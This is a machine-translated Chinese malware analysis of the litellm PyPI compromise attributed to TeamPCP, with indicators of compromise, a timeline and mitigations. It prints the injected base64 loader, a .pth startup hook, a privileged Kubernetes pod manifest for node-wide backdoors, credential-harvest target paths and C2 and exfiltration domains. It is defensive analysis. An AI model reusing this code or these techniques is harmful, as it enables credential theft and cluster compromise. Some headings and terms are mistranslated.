為什麼這一點很重要
2026年3月24日,受歡迎的Python包 litellm一個被數千家公司使用的通用LLM代理網關 enterprise用於在應用程式和 OpenAI、Anthropic、Google 和 AWS Bedrock 等 AI 供應商之間路由流量的 PyPI 庫在 PyPI 上遭到悄悄入侵。兩個被篡改的版本(1.82.7 和 1.82.8)在 13 分鐘內相繼發布,攜帶多階段攻擊載荷,竊取憑證、洩漏雲端密鑰、在 Kubernetes 叢集間橫向傳播,並安裝具有遠端程式碼執行功能的持久後門。
與大約 每日下載量達3.6萬次 litellm 在雲端原生 AI 基礎架構中深度部署,它處於現代攻擊者夢寐以求的一切的交匯點:每個主要 AI 供應商的 API 金鑰、雲端 IAM 憑證、Kubernetes 金鑰和 SSH 金鑰。
但利特爾姆妥協案並非孤立事件,而是一系列事件的最終結果。 為期五天、涵蓋五個生態系的活動 由名為 TeamPCP這場行動首先在安全掃描器(Aqua Trivy、Checkmarx KICS)中投毒,然後利用竊取的惡意軟體進行攻擊。 CI/CD 攻擊者利用憑證向下游傳遞,最終影響到 npm、OpenVSX 和 PyPI。他們竟然將企業賴以保護供應鏈的工具武器化了。
此次攻擊標誌著供應鏈威脅複雜性的重大轉變。攻擊者採用多跳、跨生態系統的設計,並利用安全工具的漏洞,以達到高價值攻擊的目的。 人工智慧基礎設施 這體現了與日益商品化的攻擊工具相符的規劃和操作成熟度。有效載荷即時迭代(原始程式碼中出現了三個有效載荷變體,包括被註解掉的早期版本),C2 基礎設施在攻擊前一天註冊,並且精心選擇資料外洩域以模仿合法供應商的基礎設施。系統全面的憑證收集器涵蓋 15 個以上的類別,包括 Cardano 簽章金鑰和 WireGuard 配置等小眾目標,顯示其處理能力之強,預示著人工智慧輔助惡意軟體開發將起到倍增器的作用。
時間線
| 日期(UTC) | 創建 |
|---|---|
| 19 年 3 月 | TeamPCP 入侵 Aqua Trivy GitHub Action 標籤,將其替換為惡意程式碼以竊取資料。 CI/CD 來自下游儲存庫的秘密 |
| 21 年 3 月 | 妥協方案也適用於使用類似技術的 Checkmarx KICS 和 AST GitHub Actions。 |
| 3月22日,06:35 | BerriAI 透過正常發布 litellm 1.82.6(最新乾淨版本) CI/CD pipeline 使用 Trivy 進行安全掃描 |
| 23 年 3 月 | TeamPCP 註冊了 models.litellm.cloud(資料外洩網域)。導致 66 個以上的 npm 套件和 OpenVSX 擴充功能洩漏。 |
| 3月24日,10:39 | litellm 1.82.7 已發佈到 PyPI -- 有效載荷已註入 proxy_server.py 在模組作用域內執行。導入時執行。 |
| 3月24日,10:52 | litellm 1.82.8 於 13 分鐘後發布 -- 添加 litellm_init.pth這是一個 Python 路徑配置鉤子,它會在每次 Python 解釋器啟動時執行,而不僅僅是在 litellm 導入時執行。它展示了快速的有效載荷迭代。 |
| 3月24日,約16:00 | PyPI 在收到社區報告後會移除這兩個版本。版本會從索引中完全刪除(而非撤回),但 CDN 壓縮包仍然可以存取。 |
暴露時間窗口:約 5.5 小時。 在此期間,任何 pip install litellm, pip install --upgrade litellm, 或者 CI/CD pipeline 拉取最新版本會執行有效載荷。
惡意軟體是如何入侵的:級聯式入侵
litellm軟體包並未直接被攻破。攻擊者是透過某種方式存取它的。 兩跳供應鏈攻擊:
Aqua Trivy GitHub Action (compromised March 19) --> LiteLLM CI/CD pipeline runs Trivy without pinned version --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI LiteLLM的 CI/CD pipeline 我用 Trivy 作為安全掃描器——而這款設計發現漏洞的工具本身卻成了攻擊媒介。因為 pipeline 透過可變標籤而非固定標籤引用 Trivy commit SHA,被入侵的操作會自動運作。惡意 Trivy 操作竊取了環境金鑰,包括: PYPI_PUBLISH 令牌,使 TeamPCP 能夠直接發布 litellm PyPI 專案。
這種「攻破安保系統」的策略是TeamPCP攻擊活動的標誌性特徵。攻擊者首先攻擊安全工具(例如Trivy和Checkmarx KICS),從而同時停用偵測功能並獲得對下游供應鏈的特權存取權。
技術分析:酬載
注射點
版本1.82.7 — 模組級執行 litellm/proxy/proxy_server.py (第128行):
import subprocess, base64, sys, tempfile, os b64_payload = "<~12KB base64 blob>" with tempfile.TemporaryDirectory() as d: p = os.path.join(d, "p.py") with open(p, "wb") as f: f.write(base64.b64decode(b64_payload)) subprocess.run([sys.executable, p]) 這段程式碼位於模組作用域內,介於字典字面量和原始資料之間。 showwarning() 函數。它會在以下情況下立即執行: litellm.proxy.proxy_server 已導入-這在使用 litellm 的代理功能時會發生。
版本1.82.8 — 新增 litellm_init.pth (Python 路徑設定檔):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) 蟒蛇 .pth 在文件 site-packages/ 每次解釋器啟動時都會處理,但只有以…開頭的行才會被處理。 import 它們以代碼的形式執行。攻擊者利用這一點,將整個有效載荷連結到單一有效載荷上。 import 聲明: import os, subprocess, sys; subprocess.Popen(...)這比 proxy_server.py 注入要激進得多——即使從未導入 litellm,它也會在每個 Python 進程啟動時觸發。 pyproject.toml 已修改,將此文件包含在分發包中:
include = [ { path = "litellm_init.pth", format = ["sdist", "wheel"] } ] | 項目類別 | 目標 |
|---|---|
| 系統偵察 | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config;主機密鑰來自 /etc/ssh/ |
| 雲(AWS) | ~/.aws/credentials, ~/.aws/config;透過 IMDS 角色憑證 169.254.169.254秘密管理器 ListSecrets;SSM DescribeParameters |
| 雲端平台(GCP) | ~/.config/gcloud/ (遞迴) $GOOGLE_APPLICATION_CREDENTIALS |
| 雲(Azure) | ~/.azure/ (遞歸);環境變數 |
| Kubernetes | 服務帳戶令牌; ca.crt命名空間; kubectl get secrets --all-namespaces;所有金鑰均透過 Kubernetes API 取得 |
| 環境文件 | .env, .env.local, .env.production, .env.development, .env.staging — 遞歸搜尋(深度 6) /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| 碼頭工人 | ~/.docker/config.json, /kaniko/.docker/config.json |
| 包裹令牌 | ~/.npmrc, ~/.vault-token, ~/.netrc |
| 數據庫 | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.confMongoDB 配置 |
| TLS / SSL | 來自私鑰 /etc/ssl/private/所有 Let's Encrypt 證書 .pem/.key/.p12/.pfx 檔 |
| 混帳 | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| 加密錢包 | 比特幣、以太坊金鑰庫、Solana 金鑰對(驗證者、投票者、質押者、水龍頭)、Cardano 簽名金鑰、萊特幣、狗狗幣、Zcash、達世幣、瑞波幣、門羅幣 |
| 殼牌歷史 | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| 系統認證 | /etc/passwd, /etc/shadow身份驗證日誌(已接受的 SSH 會話) |
| Webhook/API金鑰 | 搜尋 Slack 網頁hooksDiscord 網頁版hooks設定檔中的 API 金鑰/金鑰 |
| VPN | 來自 WireGuard 的配置 /etc/wireguard/ |
這款數據採集器的功能非常全面。它不僅針對雲端憑證,還針對加密貨幣錢包、資料庫密碼、VPN配置等。 CI/CD 秘密-表明攻擊者打算透過多種途徑將受感染的系統貨幣化。
第 2 階段:加密滲漏
被盜資料採用混合加密方案進行加密和洩漏:
- AES-256-CBC 使用隨機產生的 32 位元組會話金鑰對所有收集的資料進行加密(透過
openssl enc) - RSA-4096 使用攻擊者嵌入的公鑰對會話金鑰進行加密(OAEP 填充,透過
openssl pkeyutl) - 兩個密文文件捆綁在一起
tpcp.tar.gz(“tpcp前綴“TeamPCP”在整個活動中始終出現) - HTTPS POST 請求
https://models.litellm.cloud/-Content-Type: application/octet-stream
域 models.litellm.cloud 該網站於3月23日註冊——也就是攻擊發生的前一天——其設計目的是與合法的Litellm基礎設施(真正的項目使用)相融合。 litellm.ai即使是了解網路的防禦者,在審查出口流量時,也可能不會將看似是 litellm 自身模型端點的流量標記出來。
第三階段:持久後門(sysmon.py)
此有效載荷會安裝一個偽裝成系統遙測資料的輪詢後門:
- 途徑:
~/.config/sysmon/sysmon.py - 私人訂製:
sysmon.service(systemd 用戶單元,描述為「系統遙測服務」) - 行為經過最初的 300 秒睡眠後,輪詢
https://checkmarx.zone/raw大約每 50 分鐘 - 執行下載C2伺服器傳回的URL
/tmp/pglog,使其可執行(chmod 755),在分離會話中運行它 - 狀態追蹤:
/tmp/.pg_state防止重複下載相同的有效載荷。 - 堅持:
Restart=always,RestartSec=10— 能夠經得起崩潰和重啟
域 checkmarx.zone 是 Checkmarx(一家安全公司)的拼字錯誤縮寫。 checkmarx.com這種設計旨在讓審查網誌的 SOC 分析師看到看似來自合法安全廠商的流量。這是一種蓄意規避策略,與 TeamPCP 更廣泛的策略一致,即利用安全廠商的品牌來掩蓋其真實意圖。
階段 3b:Kubernetes 橫向移動
如果受感染的系統擁有 Kubernetes 服務帳戶憑證,則惡意軟體會列舉所有叢集節點並進行部署。 特權 pod 致每一位:
pod_manifest = { 'apiVersion': 'v1', 'kind': 'Pod', 'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'}, 'spec': { 'nodeName': node_name, 'hostPID': True, 'hostNetwork': True, 'tolerations': [{'operator': 'Exists'}], 'containers': [{ 'name': 'setup', 'image': 'alpine:latest', 'command': ['sh', '-c', drop_cmd], 'securityContext': {'privileged': True}, 'volumeMounts': [{'name': 'host', 'mountPath': '/host'}] }], 'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}], 'restartPolicy': 'Never' } } 每個艙體:
- 運作方式 特權 -
hostPID,hostNetwork以及對主機檔案系統的完全訪問 - 用途
chroot /host安裝相同sysmon.py主機根檔案系統上的後門 - 將其註冊為 systemd 服務,確保在 pod 刪除後仍能持久。
- 命名
node-setup-*,詳見kube-system命名空間要看起來像是合法的叢集基礎架構
這意味著一個 單一妥協 CI/CD 擁有 Kubernetes 存取權限的運行程序可能會導致叢集中的每個節點都被植入後門。 — 對於在 Kubernetes 中以 litellm 作為代理程式運作的組織而言,這是一個災難性的橫向移動場景。
有效載荷演化(已註釋的變體)
原始碼第 131-132 行包含兩個被註解掉的早期有效載荷變體,揭示了攻擊者的開發過程:
- 所有三種變體 共享同一外洩基礎設施(
models.litellm.cloud),RSA-4096 公鑰,AES-256-CBC + RSA 混合加密封裝,以及tpcp.tar.gz軟體包命名 - 早期版本 添加了一個 RC4 加密層 在資料擷取腳本內部,將擷取到的資料加密,然後再套用外部的 AES+RSA 封裝層。透過移除內部的 RC4 層,簡化了有效載荷(第 130 行)。
- 早期版本使用
exec()-StringIO捕獲以在進程內運行收集器,同時活動有效載荷使用subprocess.run()使用 stdout 重定向-一種更清晰的分離方式,避免污染宿主程序。 - 這三種變體都針對相同的憑證類別和收集路徑。
- 早期版本中的 RC4 金鑰是一種挑釁性的侮辱性詞語,這與演員在 Telegram 上尋求關注的行為一致。
這表明攻擊者在行動過程中進行了積極的改進。他們簡化了加密協定棧,提高了執行隔離性,同時保持了資料收集目標和資料外洩基礎設施的穩定性。
攻擊指標 (IOC)
網絡
| 指標 | 類型 | 目的 |
|---|---|---|
models.litellm.cloud | 域 | 滲漏端點(HTTPS POST) |
checkmarx.zone | 域 | C2 輪詢端點(HTTPS GET) /raw) |
註:外部報告鏈接 checkmarx.zone/static/checkmarx-util-1.0.4.tgz 該URL指向TeamPCP活動早期KICS階段。在本文分析的litellm有效載荷中未找到該URL。
包裹哈希
| 文件 | SHA256 |
|---|---|
litellm-1.82.7.tar.gz | 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz | d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
文件系統
| 指標 | 類型 | 目的 |
|---|---|---|
~/.config/sysmon/sysmon.py | 文件 | 持久性後門腳本 |
~/.config/systemd/user/sysmon.service | 文件 | Systemd 持久單元 |
/tmp/pglog | 文件 | 已下載第二階段二進位文件 |
/tmp/.pg_state | 文件 | C2狀態追蹤 |
litellm_init.pth in site-packages/ | 文件 | Python 啟動鉤子(僅限 v1.82.8) |
tpcp.tar.gz | 文件 | 加密外洩包 |
Kubernetes
| 指標 | 類型 | 目的 |
|---|---|---|
node-setup-* 豆莢 kube-system | 下 | 特權橫向移動艙 |
sysmon.service 在叢集節點上 | 私人訂製 | 透過 Pod 逃逸實現主機級持久化 |
密碼學
| 指標 | 信息 |
|---|---|
| 攻擊者 RSA-4096 公鑰 | SHA256 指紋: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8嵌入在所有三種有效載荷變體中;在其他 TeamPCP 操作中也報告了相同的密鑰 |
tpcp 工件中的前綴 | 捆綁包命名約定(tpcp.tar.gz在整個競選過程中保持一致 |
歸屬:TeamPCP
這次攻擊背後的威脅行為者已被追蹤到為: TeamPCP又稱 PCPcat、Persy_PCP、ShellForce 和 DeadCatx3。
已知特徵:
- 維護 Telegram 頻道
@Persy_PCP以及@teampcp他們在那裡嘲諷安保公司 - 可在多個生態系統中運作(GitHub Actions、PyPI、npm、OpenVSX)
- 在行銷活動的每個階段使用特定供應商的網域搶注網域(例如,
checkmarx.zone對於 Checkmarx,models.litellm.cloud(供 litellm 使用) - 一致的基礎設施標記:相同的 RSA 金鑰對,
tpcp.tar.gz命名規則tpcp-docs-*GitHub 倉庫用作死信箱暫存區 - 將安全工具作為進入下游供應鏈的入口。
歸因置信度高。共享的RSA公鑰, tpcp 五天行動中工件命名、C2 基礎設施重疊和操作節奏都強烈表明,Trivy、KICS、npm、OpenVSX 和 litellm 的漏洞利用與同一攻擊者有關。
動機很可能是經濟利益驅動(加密錢包被偷、雲端憑證變現)加上惡名昭彰(Telegram 嘲諷)。憑證竊取範圍之廣——從 AWS IAM 到 Solana 驗證器金鑰對再到 WireGuard 配置——表明攻擊者以經濟利益為驅動,試圖從每次攻擊中最大化收益。
可能的AI輔助此憑證擷取器系統性地涵蓋了 15 個以上的類別,包括 Cardano 簽章金鑰、WireGuard 配置和 Kaniko Docker 憑證等特定目標,且其擷取方式與 AI 輔助枚舉相符。有效載荷迭代速度(三種不同加密方案的變體)、跨生態系統協調(5 天內涵蓋 5 個生態系統)以及運行安全措施(廠商仿冒域名、混合加密、偽裝成遙測數據的 systemd 持久化)表明,其吞吐量水平可能體現了 AI 輔助開發帶來的效率倍增效應。當然,這只是推測;熟練的操作人員即使不使用 AI 工具也能達到類似的規模。
新的戰術、技術和方法
1. 安全工具供應鏈投毒(T1195.002 變體)
攻擊者以攻破安全掃描器(例如 Trivy、KICS)為第一跳,進而攻擊下游目標,這是一種新的攻擊手段。攻擊者不僅攻破了一個函式庫,也攻破了組織用來執行安全操作的工具。 檢測 庫文件已被篡改。這就造成了一個盲點:本來應該捕捉惡意程式碼的掃描器本身卻成了惡意程式碼的傳播機制。
2。 蟒蛇 .pth 文件持久性 (T1546)
这 litellm_init.pth v1.82.8 版本中的技術尤其陰險。 Python .pth 在文件 site-packages/ 每次解釋器啟動時都會進行處理;任何以…開頭的行 import 以代碼形式執行。透過將有效載荷連結到單個 import 根據該聲明,攻擊者可以對所有 Python 進程執行程式碼,而不僅僅是在導入 litellm 時。這意味著即使 litellm 已安裝但從未使用,有效載荷仍然會執行,並且即使在修復程式取代了被入侵的 Python 進程後,它仍然有效。 .py 文件未進行檢查 .pth 文件。
3. 透過特權 Pod 部署實現 Kubernetes 叢集範圍內的橫向移動(T1610、T1611)
在每個叢集節點上自動建立特權 Pod—透過 hostPID, hostNetwork主機檔案系統掛載,以及 chroot 安裝持久性-將容器部署(T1610)與逃逸到主機(T1611)結合,將單一受損工作負載轉換為整個叢集受損。
4. 冒充供應商的C2基礎設施
使用 models.litellm.cloud (模仿 litellm)和 checkmarx.zone (模仿 Checkmarx)作為 C2/資料外洩端點,其設計目的是為了規避網路監控。安全營運中心 (SOC) 分析師在審查出站流量時,會看到看似合法的供應商網域的 HTTPS 連線。
5. 快速飛行中有效載荷迭代
發布 v1.82.7 版本時會在導入時執行攻擊,13 分鐘後發布 v1.82.8 版本時會在啟動時執行攻擊,這表示攻擊者在即時監控並調整攻擊策略。原始碼中保留的被註解掉的有效載荷變體(採用不同的加密方案)證實了攻擊者在攻擊期間一直在積極開發新版本。
有什麼可以做
這種攻擊利用了每一層的信任:對安全工具的信任、對軟體包註冊表的信任、對看似熟悉的網域的信任、對…的信任。 CI/CD 自動化。抵禦自動化需要加強以下每一個信任邊界:
面向包裝消費者
- 透過哈希值鎖定依賴項,而不僅僅是版本。
pip install litellm==1.82.6 --hash=sha256:...即使被竄改的版本短暫以最新版本的形式出現,也能阻止其安裝。 - 使用鎖定檔案。
pip-compile,poetry.lock以及uv.lock取得確切的版本號碼和雜湊值。 CI/CD 應該從鎖定檔案安裝,而不是從浮動版本說明符安裝。 - 監控
.pth文件。 定期審核site-packages/對於意外的.pth檔案——它們在每次 Python 啟動時執行,是一種被低估的持久化機制。 - 實施出口網路控制。 撤離
models.litellm.cloud以及 C2 輪詢checkmarx.zone在生產環境中,可以透過基於允許清單的出口過濾來捕獲此漏洞。
致軟體包維護者
- 置頂 CI/CD 行動 commit SHA,不是標籤。 LiteLLM的 pipeline 使用了 Trivy,但沒有使用固定版本。如果它引用了
aquasecurity/trivy-action@<commit-sha>而不是@latest否則,被竄改的行動就不會執行。 - 使用有效期短、作用範圍有限的發布令牌。 PyPI 支援可信任發布者(基於 OIDC)和作用域 API 令牌。外洩的數據
PYPI_PUBLISH令牌不應該擁有長期、不受限制的發布權限。 - 在 PyPI 上啟用雙重認證。 要求所有維護人員啟用雙重認證,並儘可能使用硬體安全金鑰。
- 簽署包裹。 Sigstore/PEP 740 認證可讓消費者驗證軟體包是否由預期製造商製造。 CI/CD pipeline並非由使用被盜令牌的攻擊者所為。
適用於平台業者(PyPI、npm、GitHub)
- 檢測異常發布模式。 如果兩個新版本在 13 分鐘內發布,且來自與平時不同的 IP 位址或令牌,則在軟體包可安裝之前,應該會觸發暫緩審核或自動掃描。
- 加速採用可信賴發布商。 基於 OIDC 的發布機制將軟體包與特定的儲存庫和工作流程綁定,使得被盜的代幣在原始儲存庫之外毫無用處。 CI/CD 上下文。
- 實施發佈時惡意軟體掃描。 proxy_server.py 中的 base64 解碼有效載荷在發佈時可透過靜態分析檢測。
為了生態系統
- 將安全工具視為關鍵基礎設施。 Trivy 和 Checkmarx KICS 被數百萬用戶使用。 pipeline他們的 GitHub Actions 應該像他們掃描的軟體包一樣,進行簽署、鎖定和監控。
- 投資於運行時檢測。 僅靠靜態分析無法偵測到所有混淆技術。運行時監控軟體包安裝過程至關重要。 hooks意外的網路連線和可疑的檔案存取模式提供了縱深防禦。
- 更快地分享威脅情報。 如果跨廠商協調速度較快,litellm 的 5.5 小時暴露窗口期本來可以更短。 Xygeni MEW、Socket 和 Snyk 等自動化掃描服務檢測到了異常情況——瓶頸在於人工確認和註冊機構的回應時間。
結語
TeamPCP運動是一個具有里程碑意義的時刻 software supply chain security攻擊者首先攻破安全掃描器,並將其作為通往高價值人工智慧基礎設施的跳板,這表明供應鏈的強度取決於其最薄弱的傳遞依賴項,而這個依賴項可能就是你信任的、能夠保護你安全的工具。
Litellm 漏洞尤其凸顯了人工智慧基礎設施面臨的日益增長的風險。隨著 LLM 代理網關變得越來越重要, standard 模式 enterprise 在人工智慧部署中,他們將API金鑰、雲端憑證和敏感資料的存取權限集中在一個元件中。攻破該組件就等於獲得了打開整個人工智慧堆疊的萬能鑰匙。
在 5.5 小時窗口期內安裝了 litellm 1.82.7 或 1.82.8 的組織應將此視為憑證完全洩漏:輪換受影響系統上的所有金鑰,並對 Kubernetes 叢集進行審計。 node-setup-* 豆莢 kube-system刪除任何 sysmon.service systemd 單元,並檢查 litellm_init.pth 在 Python 中 site-packages/ 目錄。官方 Docker 映像的使用者(ghcr.io/berriai/litellm由於影像固定了其依賴項,並且在曝光視窗期間沒有重建,因此不受影響。
關於作者
聯合創始人兼首席技術官
路易斯·羅德里格斯 他是 Xygeni Security 的共同創辦人兼技術長。他在應用安全領域擁有 20 多年的經驗,專注於應用安全防護和進階程式碼分析功能,幫助團隊降低實際交付風險。




